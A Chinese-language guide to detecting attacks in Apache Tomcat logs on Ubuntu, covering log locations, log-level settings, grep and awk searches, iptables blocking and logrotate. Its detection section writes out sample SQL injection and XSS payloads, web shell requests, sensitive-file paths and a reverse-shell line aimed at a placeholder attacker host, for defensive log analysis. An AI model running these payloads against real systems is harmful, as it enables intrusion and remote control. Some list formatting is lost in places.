1. 定位Tomcat日志文件
Ubuntu系统中,Tomcat日志默认存储在$CATALINA_HOME/logs目录($CATALINA_HOME通常为Tomcat安装路径,如/opt/tomcat)。关键日志文件包括:
/manager/html)的操作日志(如部署、登录尝试)。2. 配置日志级别与内容
调整日志级别可捕获更多安全相关信息:
$CATALINA_HOME/conf/logging.properties,将org.apache.catalina、org.apache.coyote等包的日志级别从INFO调整为FINE或FINER(如org.apache.catalina.level = FINE),记录更详细的调试信息(如请求参数、会话操作);AccessLogValve(在server.xml中)记录访问日志的详细字段,例如添加%r(请求行,包含方法+URL+协议)、%s(响应状态码)、%{User-Agent}i(用户代理),便于分析异常请求模式。3. 日志分析与异常识别
and 1=1、union select、from information_schema等SQL语句(如/login?username=admin'--&password=123);<script>、onerror=alert()等恶意脚本(如/comment?content=<script>alert(1)</script>);/bin/bash、certutil)或反弹Shell语句(如bash -i >& /dev/tcp/attacker_ip/4444 0>&1);/admin.php、/shell.jsp),参数含eval、base64_decode等函数(如/shell.jsp?cmd=whoami);web.config、/etc/passwd、.bak(备份文件)、WEB-INF/config.properties等敏感资源。grep命令快速查找异常关键词,例如:grep -i "error\|exception\|sql injection\|xss" $CATALINA_HOME/logs/catalina.out # 查找错误与注入关键词
grep -E "(union.*select|from\s+information_schema)" $CATALINA_HOME/logs/localhost_access_log.*.txt # 查找SQL注入痕迹
awk或sort统计高频异常(如同一IP的404错误次数),例如:awk '$9 == 404 {print $1}' $CATALINA_HOME/logs/localhost_access_log.2025-09-23.txt | sort | uniq -c | sort -nr # 统计404错误的IP频率
4. 响应与加固措施
iptables临时封禁:sudo iptables -A INPUT -s suspicious_ip -j DROP # 封禁可疑IP
OPTIONS、DELETE、PUT,在web.xml中配置安全约束)、隐藏Tomcat版本号(在server.xml中设置server="Apache")、启用HTTPS(配置SSL/TLS证书);5. 日志管理与维护
logrotate避免日志文件过大(如每天分割catalina.out),保留30天历史日志以便回溯:sudo nano /etc/logrotate.d/tomcat # 创建或编辑配置文件
添加以下内容:/opt/tomcat/logs/catalina.out {
daily
rotate 30
compress
missingok
notifempty
copytruncate
}
tomcat)读取(避免敏感信息泄露),例如:sudo chown -R tomcat:tomcat $CATALINA_HOME/logs # 设置日志目录所有者
sudo chmod -R 640 $CATALINA_HOME/logs/*.log # 设置日志文件权限
```。